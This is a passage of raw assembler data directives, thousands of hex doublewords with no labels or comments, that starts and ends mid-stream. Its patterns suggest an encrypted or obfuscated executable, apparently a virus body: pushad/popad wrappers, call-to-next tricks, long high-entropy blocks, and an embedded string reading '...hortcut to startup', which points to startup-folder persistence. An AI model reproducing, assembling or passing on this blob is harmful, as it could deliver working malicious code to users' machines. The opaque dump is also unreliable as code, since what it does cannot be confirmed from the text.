2454895Ah dd 24448104h, 1604h, 0C3524200h, 8B57D3FCh, 0D8B0FC0h dd 60000000h, 62DB529h, 89BB061Bh, 6168F519h, 23D1BD83h dd 7500061Bh, 29BD8309h, 61B31h, 53501974h, 3B8C08Bh, 89000004h dd 1B213185h, 0B49D8D06h, 0FF061DA6h, 83585BD3h, 1B3129BDh dd 17740006h, 3B85350h, 89000004h, 1B213185h, 559D8D06h dd 0FF061DA3h, 6A585BD3h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 0B2FDC356h, 0D2268658h dd 81940DE7h, 0C69C55E3h, 95958B32h, 89061B18h, 1B1EA195h dd 66C08B06h, 8E8D98Bh, 0 dd 24FFC44Fh, 66F838E9h, 6159D38Bh, 0B0E9h, 8C666000h dd 4C2F6DAh, 0C850Fh, 853B0000h, 61B2BF9h, 36840Fh, 853B0000h dd 61B29B5h, 2A840Fh, 853B0000h, 61B2DB9h, 1E840Fh, 853B0000h dd 61B28EDh, 12840Fh, 0BD830000h, 61B28D9h, 5840F01h, 0E9000000h dd 5Fh, 5203D08Bh, 88BA8B3Ch, 8B000000h, 0C985784Ah, 49840Fh dd 0C2810000h, 0F8h, 30C728Bh, 1C598BC8h, 314518Bh, 850B8BD8h dd 10840FC9h, 3B000000h, 17820FCEh, 3B000000h, 0F830FCFh dd 83000000h, 0F4A04C3h, 0FFFFDC85h, 0DE9FFh, 9D8D0000h dd 61B4CD3h, 5B8h, 61E3FF00h, 8DD00BC3h, 1B24799Dh, 39B806h dd 85890000h, 61B3255h, 0E8h, 0D055800h, 89000000h, 39E903h dd 0 dd 0Dh dup(77E6h), 8DFF77E6h, 203BC98Dh, 53006A06h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 0CE3528B2h, 193BA66h, 24298D89h, 6A061Bh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 495796C3h dd 68B9399Bh, 0DA8B66FDh, 0D2D38166h, 6585C747h, 0A8061B07h dd 6A000070h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 0A79CC355h, 2A333B5Eh, 1D5DB58Bh dd 8589061Bh, 61B2BD9h, 13D185C7h, 61Bh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 0BD89EFC3h, 61B0D29h, 981B5FFh, 8529061Bh, 61B3039h dd 2F8595FFh, 87BB061Bh, 6A41FA9Dh, 595FF00h, 8B061B22h dd 0B80AEBC0h, 0A54313CEh, 162391E3h, 536CEB53h, 74726F68h dd 20747563h, 73206F74h, 74726174h, 7075h, 13h dup(0) dd 8C000000h, 1014F19h, 0E9000000h, 0F18h, 203DFC68h, 98EE906h dd 0D368FFFCh, 0E906203Eh, 0FFFC0984h, 20407E68h, 97AE906h dd 0C768FFFCh, 0E9062040h, 0FFFC0970h, 20417C68h, 966E906h dd 768FFFCh, 0E9062042h, 0FFFC095Ch, 20465568h, 952E906h dd 0F268FFFCh, 0E9062048h, 0FFFC0948h, 2049D368h, 93EE906h dd 0B58EFFFCh, 0FBC0D19Fh, 8AB25F51h, 0F7C5C6BCh, 91AC5D53h dd 16EAF1BFh, 3E341C27h, 0E3DD714Dh, 3C361C26h, 0EAD8704Fh dd 85F3EF70h, 4E4AF19Eh, 0C33E1F5h, 7E3D3E3Ch, 0F067F8CAh dd 0D1A29AE2h, 0DFF5614Ch, 57B8811Bh, 937B1A21h, 0D146CF45h dd 0C63D7FC2h, 0EEAB50E9h, 786A7CD2h, 52CCB273h, 437E1D36h dd 0CEF273BDh, 0CAD7DD0Dh, 0F5DF4A1Dh, 6A79EE48h, 0CCB09B11h dd 923395A4h, 82E0F1h, 94CEACBAh, 4ACA55E0h, 0AC0ECA91h dd 50C9E481h, 27E9h, 7A241B00h, 22AFA334h, 0EF52CCB3h dd 0C5B7B187h, 0B44ACA93h, 56C729A7h, 0F50CAAEh, 0DBDD6F4Ch dd 0EC997B69h, 4B000000h, 3E3C0C33h, 59CE823Dh, 0D42744Ah dd 0A81E1C30h, 6F226DBBh, 0B7868365h, 0B38B7C46h, 95930193h dd 8D63E5D4h, 0D1876043h, 5EEAD14Ch, 0B098A764h, 809205BAh dd 4CD187F8h, 0B9819303h, 0FCC599Fh, 9B0C1A32h, 0CC9A9287h dd 0FDB49F52h, 85C7745Ah, 0DB36118Ch, 0F18B7749h, 5F613AABh dd 8A3FF5F3h, 2BA197B5h, 11B6AC39h, 5454DDA6h, 361028E3h dd 0E8908234h, 0F34CD7EAh, 0C7841183h, 0D63F55FDh, 14834AF5h dd 7EEC6B97h, 347F5D6h, 0CFF29F91h, 2AABF181h, 0F4D65DEAh dd 0CD1F3h, 0C68E3700h, 2A221FECh, 0C3833B58h, 2C1E1CEDh dd 0C68A3556h, 2C11E9ECh, 0A0713F11h, 0D3C0B29Ch, 828F61F1h dd 1DB38DBBh, 9FD2AAB8h, 0CA194AF1h, 401033B4h, 639AA172h dd 0ABC16D60h, 81AD3B08h, 359F1513h, 0A3899A3Bh, 0E6DAE668h dd 7F16E0F6h, 32048F64h, 0AABCFB28h, 0E572B8E2h, 0CC1464EDh dd 0BA822952h, 0AE38AE8Ch, 34E296CCh, 0C88F4ACAh, 497FAE10h dd 96E750CAh, 1D000000h, 3E3C0C33h, 0D3CF823Dh, 4CD1A2A5h dd 5C5EC82Eh, 0D1A64366h, 5F5D3E4Ch, 0A686F6ECh, 0E94D4CD1h dd 0DDC77D7Bh, 350B3DFCh, 5E36554h, 881D63F5h, 0CCBB819Ah dd 582A8C52h, 53F5C487h, 99DF7941h, 6C7E160Ch, 31A554DDh dd 74DCE7A4h, 9EB28D7Eh, 0EA5598E6h, 0F0F5D35Dh, 0BFAh dd 0FBF55F60h, 251B310Eh, 0F25464h, 231D2D13h, 0FBF55B66h dd 42FD40D8h, 6B57340Eh, 42FC0DE3h, 4A712210h, 0C94E04FEh dd 0F19CA3D9h, 3DB284Ah, 72401033h, 0D4AE9AA1h, 3C0C33A2h dd 0CA7E3D3Eh, 6E6C67F8h, 5DD8F306h, 0CA863912h, 84EF0DCh dd 9FEA839Fh, 0A70F52CCh, 0E95D5D3Eh, 0B1C3FDFBh, 0E04ACABBh dd 0B2DB3D1Bh, 1A50CAC6h, 11h, 8AF2FCCh, 63380000h, 44FAF060h dd 7F95BD87h, 347A24B5h, 76D0E8A3h, 3309C274h, 0F980D17h dd 72452F14h, 0D4C2F906h, 0CCE6F1BEh, 18128452h, 73D5E4A7h dd 51D2BF75h, 8F9C90F0h, 9E9D7E68h, 80CAF0ABh, 0CAE6EA92h dd 0F85F14Ah, 0FF497021h, 0C5FF7D96h, 0C51E2C42h, 0D6C056FAh dd 0EF74DED4h, 0D328F216h, 60E8D715h, 0B6A2DCF7h, 0FF1BC51Fh dd 4F6E1B15h, 0B0C9FFF9h, 792D8E65h, 0A990CE8Ah, 71E36554h dd 9DAB927Fh, 4C712A9Bh, 0CF4509B5h, 0F0543FAh, 0F7B65C01h dd 51E391Dh, 0A4001849h, 5F6E0C4h, 0C082594Bh, 0E7DB9892h dd 49DB9167h, 84774D58h, 2234A4D8h, 0FCF65269h, 2218300Fh dd 75E22852h, 7FB13E5Eh, 0C7DD8AF3h, 0F1EF445Eh, 0D992CC6Ch dd 1EF65E1h, 98C2EF47h, 28CDC552h, 0BDCA77A5h, 475BCC59h dd 0D271E231h, 0A34A5CBAh, 61C21C2Bh, 165CFE04h, 8B351681h dd 0AE8CBE7Ch, 1ACCAE38h, 1B25160Ch, 0CE28127Ch, 387E20ECh dd 7B0BB3AFh, 9F4C146Ch, 1DCFA9A1h, 7E3D1E87h, 0F067F8CAh dd 645B9AE2h, 0DFF5610Ch, 7D35132Ah, 9E99C54Bh, 4F935436h dd 0B500000Ah, 997A480Ch, 0B9DAA8A4h, 9E6B4501h, 0BBD8AAA0h dd 637A4808h, 0ADA39E9Fh, 440AB6D3h, 0AFA39D6Eh, 5FE9D0C1h dd 3C56C791h, 4AF1E23Ch, 7F9A5CC7h, 0B8AEA09Ch, 1E21DCE3h dd 10863832h, 0E3CC3664h, 0A263455Dh, 0A06h, 2F01536Ch dd 1EF5D62h, 241E2810h, 0FFF15967h, 4F212F12h, 7649F40Ch dd 172BE8DAh, 76484937h, 1625E6DCh, 59A4032h, 0F1E26F0Dh dd 470F744Ah, 0AB3C0C33h, 0D3D20AB8h, 0D150B9BFh, 0BFD4424Ch dd 0D5BFA105h, 252B16D3h, 4739754Bh, 0F5BAC2D0h, 0EED54CD1h dd 257E2DBDh, 4D57BF40h, 95DB7Dh, 0CCF5ED12h, 0CF9EF852h dd 7DDBD6DFh, 0F83E6088h, 1F23F86Fh, 0E2B252Fh, 53956AF2h dd 63F505E3h, 2C9A881Dh, 2B937A92h, 0BA815ACBh, 800A198Eh dd 6718C116h, 90AF8EEh, 7DFB1732h, 868B7297h, 51A01A8Dh dd 9F352D6Fh, 7B5F7D35h, 80522587h, 9517Fh, 460EB700h dd 0AAA29F6Ch, 4303BBD8h, 0AC9E9C6Dh, 460AB5D6h, 0AC91696Ch dd 20F1BF91h, 5340321Ch, 20FE171h, 9D330D3Bh, 0E3522A38h dd 4A994AF1h, 3C0C3334h, 0D59A893Eh, 0A20D946Ch, 745FACFh dd 0D0823C1Dh, 0DC20F8E2h, 96A84CD1h, 7B50C750h, 7F9183C3h dd 52F1D383h, 0D45FFACh, 78A8B92Bh, 0D46DC144h, 8358CD57h dd 21B68CBCh, 0B3DC9CB6h, 0AF274AF1h, 73D5E4A5h, 87C97475h dd 84CEF0B1h, 3DCD6F0h, 22E3C564h, 8C6h, 6F41132Ch, 0C1AF9DA2h dd 645EE8D0h, 0BFB199A7h, 8F61EFD2h, 0B689B44Ch, 0D7EBA89Ah dd 0B6888977h, 0D6E5A69Ch, 45DA8072h, 0F1E02F4Dh, 874FB44Ah dd 3E3C0C33h, 0C07F7E3Dh, 0CF1C1E88h, 0D7E624BCh, 49DE7F71h dd 0D1A22359h, 584EA84Ch, 0E5DF2E5Fh, 59B9656h, 24400000h dd 0AFA3347Ah, 52F1ADB3h, 7C6F7DCh, 0D2D1A7FDh, 0D68862F0h dd 8A41D640h, 0DF9B95B3h, 3E7476BCh, 0F0156DEBh, 87795724h dd 5D7A0210h, 1581339Dh, 0DBF726FFh, 435FD798h, 95000000h dd 0A2337924h, 12501E35h, 33CB29F1h, 2A492F21h, 24924CD1h dd 8CAC0C46h, 0C1832D31h, 0E6DA9791h, 0C5DD9268h, 6CB648B7h dd 14E3DA3Ch, 9D6A493Ch, 0F13C61C3h, 7A4367Dh, 52000000h dd 2702Fh, 7A24D700h, 0D0E8A334h, 0A036162Bh, 950214CAh dd 0D6724902h, 0DDF562D4h, 4CD1A29Fh, 0EEE4F264h, 52F1AE4Ch dd 8BC5A313h, 4AF19EEEh, 988A4615h, 1E30678Bh, 8B36F93Fh dd 75454FC5h, 0DE6C52E3h, 5A48DF48h, 4AF10922h, 0CE574DA9h dd 0D10566D4h, 0B38DE954h, 58E2EBD6h, 814DE968h, 5E1B1D87h dd 6B78ED63h, 0CF43E1FCh, 0FE546E79h, 0A07C7E68h, 1C8B7D5Bh dd 0D1D47606h, 0B197D4Ch, 48DD734Eh, 6A51AC93h, 0FC6ADCDEh dd 0B09348FEh, 0CFBCB6A0h, 5DCA5BF3h, 0D1D43745h, 4C5ABC4Ch dd 0BE91AD6Eh, 0D1D4D4A4h, 2DB71F4Ch, 0CE8A6F4Bh, 0D0A2AC90h dd 0D1D4C88Ah, 8B980F4Ch, 719211ABh, 0DF9DB32Fh, 244CD10Fh dd 67E3D9B2h, 10C9DB91h, 65E1D92Eh, 43F8D183h, 27BD2F09h dd 0C7813859h, 79241BF1h, 667CD5E8h, 4CD1A216h, 0DEB79DDh dd 9348CD57h, 0FFC9FAFh, 0F87A1B33h, 0FC99AF3h, 0B7F6061Dh dd 2F6A7557h, 64DD4025h, 0E4556E5h, 6F000004h, 49F51033h dd 0D4764405h, 4E26842h, 0EBDD7B48h, 42F90E30h, 24B22406h dd 0C5869046h, 0AF5C56FAh, 601BBC94h, 6E65F25Ch, 0FB59A2Ch dd 46BFD58Fh, 7A6CE4D3h, 0A4B29EA1h, 1729DCE7h, 1D873D3Bh dd 0A6A2994Eh, 0B40013C4h, 55F9C5B1h, 77F0E153h dd 49574D57h, 4CD1A630h, 754FB689h, 0B07147DDh, 4CE9BF89h dd 0B33E31AFh, 0FD7B9700h, 64CD1A6h, 1BB58690h, 1F1FDEDDh dd 0FA6CDEDCh, 0EAD84E00h, 0AA3B1729h, 0A657253Dh, 0EF9C4CD1h dd 0FBE97BD3h, 0A6B6C3FDh, 23D84CD1h, 153D0745h, 9A9B351Bh dd 0DED74CD1h, 56E5D3C4h, 0FFFF2116h, 526A21FFh, 3314E2F4h dd 45463C0Ch, 0D245D276h, 0D1A2B8C0h, 0C1D3434Ch, 0A288F1E7h dd 68774CD1h, 0BD8BB2F0h, 55FBC6C3h, 43A85D53h, 71499D24h dd 9496B48Ah, 0B5B6B422h, 644FA09h, 0BCBB9A90h, 25323124h dd 342EB9ABh, 9CA20344h, 58E5655Bh, 9E0FE8FEh, 686723Eh dd 59h, 9D9C7FB0h, 0A7D1B9ABh, 5CDEF461h, 2352F1AEh, 1F75168h dd 0E9DFD94Bh, 4AF19E9Ch, 0FE60F8FFh, 50C5898Fh, 2AF7h dd 0F2FAAD00h, 654CD19Ch, 6D65F256h, 4CD1A80Fh, 13F462D4h dd 0FFFFFDAAh, 132FC3h, 2B380000h, 77307A11h, 0B18C4DCEh dd 2FBFB59Fh, 2ADh, 3B647FD7h, 58EECEEDh, 18F7EC62h, 3D01DA46h dd 0AFA51711h, 0F065E3DAh, 300D6B67h, 60D64CD1h, 0C8777476h dd 362DB280h, 5BDF3A5Eh, 9B5F75B8h, 712ABB01h, 49FBFD49h dd 0D3D8CA5Bh, 9652CC62h, 674105B5h, 0F85EDFF5h, 26B4C802h dd 350B4ACAh, 66561315h, 0CEB0AE0h, 252B1654h, 20039143h dd 0F21B7D5Bh, 5A50CA56h, 32h, 3B102EEDh, 0CA2E5127h, 0AA3C9A4Ah dd 7A24CABCh, 22AFA334h, 752CCB3h, 0CED87A44h, 0DDD3D541h dd 4ACA939Bh, 5670106h, 50CAAE98h, 0BF00h, 0C33B600h, 0D2893E3Ch dd 93485EECh, 0C9CAA0B0h, 975456F2h, 0CBB1A1A8h, 104CD1A2h dd 184230A6h, 4CD1A635h, 9A0B3DFCh, 6C4EFAC1h, 0E616ECFAh dd 0E990E54h, 81C7CA15h, 2101EB6h, 4CD19D7Ah, 84341581h dd 6076E8C2h, 7907DBF7h, 4EA852C6h, 0AE8D4ED9h, 50FCC19Ah dd 19F2E45Ah, 3B582A26h, 1C3CC888h, 57640168h, 4787479h dd 0E5DE0000h, 0AB90816Fh, 0FAC2CFA1h, 0A795764Ch, 1BCCDA3h dd 0A67A614Fh, 0CEA4AC97h, 734D01BDh, 0CCA6AC96h, 7A4800BFh dd 15637FE0h, 0DE4AF1E4h, 10337185h, 0A22B5141h, 0FBB04CD1h dd 0BC320848h, 11C6BC2Ah, 0F0CA883Ah, 8CB3687Eh, 3A11C6BCh dd 0E6D0C684h, 0CDF10C33h, 0A0151381h, 0D5F2D5EBh, 0E66F6488h dd 73E9BF55h, 5088F0E2h, 0E3534CD1h, 272118F1h, 0FDC78459h dd 0E17B3F55h, 0BB180A9Bh, 0E652CC78h, 481B6171h, 76E04ACAh dd 0C2550AE0h, 0CA48A8D0h, 6E40334Ah, 511ED388h, 0A69576E0h dd 16C8A2h, 0CA316812h, 8E0B34Ah, 0CA5BA1BBh, 7D5C465Dh dd 2E53A8B5h, 0CA224434h, 0CDABA74Ah, 164ACA22h, 0ADB71FA0h dd 0A892A38h, 0FCC54D7h, 0A71D1B33h, 0CCA610BDh, 0C3C9180Bh dd 9DA94790h, 5399C387h, 0D0D2D0C2h, 197D52F1h, 57EFCF8Ch dd 2717F469h, 7E93491Fh, 8CE4B69Dh, 0ACA6B075h, 4AF1D4C6h dd 0FE67EBD5h, 5A83F7E5h, 0CC8D69C3h, 784A5CEEh, 4D97h dd 86FA3F00h, 0A4CD1A2h, 395A286Eh, 0ACCCC681h, 374CD1A2h dd 5D5355BFh, 4CD1A21Fh, 0F9EB6592h, 0C5A984EAh, 0D5BF41FDh dd 300244F4h, 0F7F16163h, 0D1A4B8C1h, 0D42B114Ch, 0D18365E7h dd 94A46543h, 1FDCB8B2h, 995E4E41h, 93BF81BFh, 1133D79Dh dd 98AA6741h, 22F74F6Fh, 0C6A43220h, 4C8A4635h, 9477E072h dd 0E5655BA8h, 0D1C35103h, 960DF9DFh, 74E14CD1h, 0C99FA797h dd 0B17EFE14h, 11854CD1h, 7E949183h, 0D056E5C8h, 0FFFFFF76h dd 3C0C3306h, 0CA7E3D3Eh, 8DC37E5Dh, 0BFD9A997h, 0A210687Ah dd 7BDB4CD1h, 65667CE9h, 2052CCC5h, 81DD9BB7h, 0CEF24ACAh dd 8B34AA80h, 2294392Bh, 816E1248h, 0A81B4ACAh, 8155233Fh dd 389E4ACAh, 81C5B3AFh, 0A80E4ACAh, 0B113CDBEh, 50CAB84Ch dd 3AB4h, 7A24E200h, 22AFA334h, 0EF52CCB3h, 0A8051E87h dd 543EB4Ah, 6773A58Ah, 4210867Ah, 185C5654h, 894ACA66h dd 1984E682h, 8150CA1Bh, 0B0h, 690F0394h, 724ACA72h, 33241204h dd 3D3E3C0Ch, 2FECCE82h, 41423810h, 0DEF4CE7Ah, 4CD1A6CBh dd 0FBF5536Ah, 93BF815Ah, 564006B6h, 0A882C675h, 0EB7CC2DCh dd 0CCC792F7h, 0C4745752h, 8BEB9482h, 22B3C5B5h, 2EB72D1Bh dd 0CA7C536Dh, 0CBCCB75Ah, 8BB9006h, 0D9C95E48h, 54DDC133h dd 32E97ED8h, 0EE6F410Fh, 2B390D2Dh, 45FD536Eh, 5DE9FA35h dd 0DB955A38h, 41000001h, 2DDED480h, 45463C10h, 32DFD175h dd 47443E0Ch, 0F7DED47Ch, 29271A23h, 0C8863A57h, 2B2719FAh dd 0C3853455h, 0E0F263EDh, 4AF1EA98h, 33FE0063h, 0A1724010h dd 0A2D4AE9Ah, 0A3347A24h, 0CCB322AFh, 0B187EF52h, 0EA625F3Ch dd 9392E6FCh, 0F8FF4ACAh, 0AE8FFE60h, 0D0F750CAh, 0AD000000h dd 619E9C7Fh, 6E78EE5Ah, 0C0BA8EADh, 360500C3h, 30A61812h dd 0F9C6853Ah, 4983F0D0h, 0A9C99B2h, 9C23061Ch, 2B124CD1h dd 5766231Dh, 51EBF7F1h, 0E3889A0Bh, 0E52CCFDh, 0C1828A25h dd 43D136EBh, 0A5EB8D6Dh, 0CDABA730h, 164ACA47h, 0B621B6A0h dd 7163E7D5h, 0DDA0E65Fh, 0B2239354h, 0FD6AE6D9h, 0E400786Ah dd 0A7974CD7h, 0AEB81E9Fh, 450CB7D4h, 0D7E42F4Dh, 0D442B44Ch dd 0EA122420h, 7479575Dh, 0FAh, 0FBF55F60h, 251B310Eh dd 0F25464h, 231D2D13h, 0FBF55B66h, 42FD40D8h, 6B57340Eh dd 42FC0DE3h, 4A712210h, 0C94E04FEh, 0F1EBA3D9h, 3DB284Ah dd 47F51033h, 0F29F9103h, 14647ECBh, 0DF4CD1A2h, 7208EFF4h dd 99BB2C9h, 33CFA59Bh, 443DB90Ch, 122ED234h, 2A001384h dd 0DB1A0F08h, 300FAECh, 0C9B0C3Ch, 0D14B6616h, 50096D4Ch dd 0FEF4E26Ch, 81165CFEh, 4B7CFC16h, 0F874CD1h, 68221902h dd 0E8FEB5D6h, 5CF3637Fh, 42B452F1h, 0B494AB68h, 5AEECDBEh dd 1A166A60h, 2DCA5218h, 82C675B3h, 3A342FB0h, 0D1A7BB2Eh dd 1A4D9E8Ch, 0AB0BA7BCh, 43FACFC5h, 58662305h, 7ADDF8F2h dd 0DB87F5EDh, 0EA4C4D9Eh, 5F510FFCh, 0DBA2DAC8h, 0CD294D9Eh dd 0C23B02D7h, 0B3B03FCh, 0A0350B99h, 97E3D0B3h, 637191AFh dd 24B197A6h, 0F7F15967h, 94B68445h, 3E7A882h, 0F000000h dd 1233D42Ah, 94AB6842h, 0BB5B6B4h, 8CB07147h, 182BE8C2h dd 7E414238h, 251BD8D2h, 76464325h, 2419DAD0h, 56945228h dd 0C6815E54h, 4, 8704EE83h, 685C2434h, 2D37h, 68240C89h dd 32C7h, 57243C89h, 203CA568h, 0F9895F06h, 3C8B545Fh dd 4C48324h, 8BB53h, 0FB010000h, 5B038F51h, 53243C8Bh dd 0C381E389h, 4, 8704C383h, 8B5C241Ch, 8953240Ch, 4C381E3h dd 83000000h, 1C8704C3h, 89E95C24h, 0AFFFFBFAh, 0D7A9D423h dd 54B357B0h, 204AF2B8h, 0FFC50306h, 0E6E2C8E0h, 12D3424Dh dd 0B1FE4128h, 93510D62h, 0B87E3E0Dh, 0C3E6D51Fh, 0D55AC25Ch dd 35655A2Dh, 0C78D8D2Fh, 6A06204Ch, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0F8AC355h dd 38Ah, 0C38B6600h, 18619589h, 8D89061Bh, 61B2429h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0F9C35242h, 0C7F281B1h dd 2B270F1Dh, 1B0A0585h, 6585C706h, 5C061B07h, 6A000070h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 0DC65C356h, 14D11384h, 8A0F8862h, 6, 30F5858Bh dd 9501061Bh, 61B03A9h, 0ABD9D8Bh, 85C7061Bh, 61B13D1h dd 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0DEC35747h dd 0FFD72ADFh, 1B25D9B5h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 8E0FB95Dh dd 6, 0B51BD8Bh, 0BD03061Bh, 61B198Dh, 2F8595FFh, 6A061Bh dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 56E10FC3h, 3C05E8F8h, 8B0F3826h, 1B14459Dh, 0FF006A06h dd 1B220595h, 0EBC08B06h, 98E2072Ah, 1027F571h, 9158C319h dd 2EF6FD4Ah, 5D2AC86h, 723EA09Eh, 34179374h, 70A0900Fh dd 0B5D6D79Fh, 0C5E9FBFEh, 0E89657FDh, 0Bh, 30697E11h dd 0F183A7C7h, 0E97C3038h, 0Bh, 0E4E18D4Bh, 1E84B9EDh dd 59004643h, 2531B589h, 0C181061Bh, 6C9Ah, 7484BA66h dd 9589DB2Bh, 61B0739h, 560B34FFh, 81F95E5Ah, 2199DFF6h dd 0F681F902h, 315AA3D5h, 30DDBD09h, 0C681061Bh, 7FB671E9h dd 1331958Bh, 8956061Bh, 1B0EA995h, 19048F06h, 6E9h, 0EB785100h dd 81B32FD9h, 9376E8EBh, 59858B01h, 81061B09h, 9376E4C3h dd 0DA816601h, 0FB818073h, 0FFFF9420h, 0D850Fh, 8B660000h dd 24E9C1h, 102F0000h, 8BD85BD1h, 1B0D39BDh, 0FF8AE906h dd 5525FFFFh, 0B907AFB6h, 0EDF738BEh, 2D25E73Ah, 0FB275666h dd 60EB5F40h, 18h dup(0) dd 0C86E9h, 0C7AE900h, 0F3680000h, 0E9062056h, 0FFFB2FF8h dd 20586368h, 2FEEE906h, 0E568FFFBh, 0E9062058h, 0FFFB2FE4h dd 5E019CD8h, 2BCE6D89h, 58F79ED4h, 32D57083h, 8A2DD49Dh dd 551CB5E7h, 0FCF40BAEh, 5421B659h, 0B2BD12B5h, 0D77E700Fh dd 0E8338158h, 330FE038h, 9D3ADD1Bh, 0F79EDBA8h, 0D417EC5Eh dd 6F329539h, 9B34D7A0h, 0FEFA0FAFh, 4827BC5Bh, 0C9A1EA5h dd 0EA0E7C98h, 0A44FE888h, 668D2AC9h, 0A54EE78Ah, 1A9E25CCh dd 541C80FFh, 0A63614B1h, 0CD71809Dh, 0F64BD174h, 258D82D4h dd 69906509h, 9DCE25C2h, 0E7CF81F4h, 0BC3EBB48h, 3AAD023h dd 22C5B380h, 821C585h, 0E8670BEBh, 3EC80911h, 0CF768370h dd 0F36CF51h, 49900F92h, 283EC809h, 9C019A2h, 2C463EC8h dd 0AA7F0585h, 0BD8D2ACDh, 7752E719h, 0C72B6FF4h, 4EBCC4EBh dd 1CF41C7h, 0D35F02EEh, 0B256FAE0h, 0FF66F26Fh, 39EF6538h dd 0E20CE185h, 0E872A443h, 4FDD58DBh, 134040A8h, 5EE38360h dd 0C728E563h, 9A4139F6h, 49C64DFDh, 0C728E5B0h, 1EB739CFh dd 0D425AA27h, 9BC728E5h, 56E24CF6h, 0EA60DCCAh, 23C6B146h dd 0DF6DBE84h, 3836BE07h, 3D580999h, 3A35CA6Eh, 59184989h dd 0D250F6D2h, 3EEB5748h, 519721A6h, 8DCE3609h, 0A31E0584h dd 0C87DDD1Ch, 7216B43Dh, 5D39h, 0D340CC00h, 708435DCh dd 3ED056FAh, 6D9721A6h, 0C87D17E6h, 0C8D5633Eh, 23BA3919h dd 3E3EC85Ch, 0B3D33CC8h, 21A7A343h, 1BE56D97h, 3CB93CDBh dd 8392EDB0h, 0BE439951h, 3EC8AA3Fh, 228B452h, 12736629h dd 0FCE16707h, 5B966D56h, 56EF925Dh, 0E4D276F4h, 4Fh, 0C0679261h dd 0DF6D1A20h, 71A04F28h, 4FC165D8h, 0A33AB909h, 0BE3EC87Dh dd 0A86ABC48h, 4505310Eh, 0E66D3DC3h, 3EC87D17h, 0DAA92C1Ah dd 0EA60FD9Ch, 0E86D0046h, 0A03DD81Bh, 1B4006AAh, 6DB63CDBh dd 18B55C96h, 7B03A232h, 31F36381h, 3EB3598Dh, 0C49B22A7h dd 0D76E07AEh, 0C87D8158h, 0E86AE03Eh, 0B07E0548h, 43C4F55Fh dd 0C61B28C5h, 2FC72CA3h, 5890FA55h, 0FEFC6990h, 1F4h dd 1FA43E84h, 7D3E179Ch, 23A13EC8h, 0EB8E698Ah, 0DC1B064Ch dd 0EE57AF39h, 0DB15821h, 21A63E47h, 5C966D97h, 7DAA33B0h dd 3FC53EC8h, 822624C1h, 9C239EA3h, 3EC87D5Dh, 7D57A62Dh dd 9C2A3EC8h, 0DF1EA520h, 0B23EC87Dh, 2CF29614h, 848DCE36h dd 29511E05h, 45E5DE82h, 60000000h, 26BF6693h, 7F1E4F24h dd 7EC464E6h, 0C113A63Eh, 0FD9BA5EFh, 6D69EF71h, 0C87D17E6h dd 59DC6A3Eh, 2DCA6D8Ah, 6DB3791Dh, 38DF1BE8h, 0DB1B9298h dd 56FCB63Ch, 6702h, 59D65B00h, 3EC87D80h, 7FC569DFh, 0B0CAA63Eh dd 6D018709h, 0EDEC79DFh, 4C25164Fh, 69E17E25h, 0FCFD82C5h dd 8C3EC87Ah, 7916B9B7h, 5D00F8D1h, 1AE68AC0h, 0E86DA62Ch dd 0C87D926Bh, 8453DD3Eh, 0F06436BBh, 0D04FD674h, 3EC8D909h dd 0FB3EE268h, 0D0B1F276h, 0D5441FB7h, 0DB1BEB31h, 966DB63Ch dd 11DDB659h, 741ACE72h, 0B958966Dh, 2DCDC529h, 0B25643A0h dd 46CDF640h, 0C889C4C9h, 66ED5B3Eh, 22BB5E99h, 44AF8828h dd 80F97A2Bh, 0C4D22BA8h, 17AD3EC8h, 7C4F0A8Bh, 75FA77FEh dd 3EC8F464h, 36ED7FFBh, 646A6EA1h, 5BE342E6h, 0AF39DC1Bh dd 0A63EEB57h, 0B471BB13h, 0C837AE2Fh, 0B743C13Eh, 5EDC892Ah dd 5A966DD4h, 8C2C1EB7h, 966DA5ADh, 0DE18B857h, 5848D76h dd 51E0h, 8ED76500h, 6574FBD1h, 0FC3DC894h, 29E1FE8Eh dd 3E2BF195h, 824C13A6h, 41E9D75Ch, 52E24914h, 80027F74h dd 17E66DFAh, 6A3EC87Dh, 0E56D56DCh, 0B93CDB1Bh, 0CD6A0DEAh dd 0FC53D97Dh, 6BE86D56h, 3EC87D92h, 9B757EDh, 32h, 23BEAD82h dd 966DBD83h, 0E416BA55h, 36DD145Ch, 0A0D8B199h, 6DF57BFDh dd 0C87D17E6h, 0A62C1A3Eh, 0DB1BE56Dh, 53590AE5h, 8DDAC3D8h dd 169C1E9Ch, 0E50256FCh, 58000000h, 9C1FA43Eh, 0C87D3E17h dd 8A23A13Eh, 4CEB8E69h, 1BE86D06h, 0AC9E37DEh, 0C87DD627h dd 7B1BA93Eh, 5CE68966h, 0B857966Dh, 2BA82B1Fh, 3EC87DD2h dd 9E7717ADh, 54A52AA7h, 2B3EC87Dh, 3E33F99Dh, 519721A6h dd 8DCE3609h, 0A31E0584h, 0C87DDD1Ch, 7216B43Dh, 5B39h dd 0F7F7CC00h, 3E72B858h, 0DACCAA6h, 0D258DA70h, 0B464E86Dh dd 766E3475h, 0CE7D7C03h, 76143EC8h, 0ECF54F4h, 613EC8CEh dd 5EE560E3h, 3EC8CE9Fh, 6EB454F2h, 5D5B966Dh, 0F357F093h dd 0D34ED175h, 68710045h, 39DDA0A9h, 3CDB1BF3h, 8A59FCB6h dd 1B2FC86Fh, 3102B57Bh, 58000000h, 0D8E1DF6Dh, 9270FC45h dd 23A43CEEh, 17E66D9Dh, 1A3EC87Dh, 0E56DA62Ch, 0B93CDB1Bh dd 7866F033h, 7B1B266Bh, 72DF6DB5h, 0B77BD6C5h, 0F59B4FEFh dd 0C001DF6Dh, 9FA6E965h, 2246971Ch, 0AB193EC8h, 56F9F60Bh dd 8C098CB9h, 0C822F607h, 76FB893Eh, 3EC82267h, 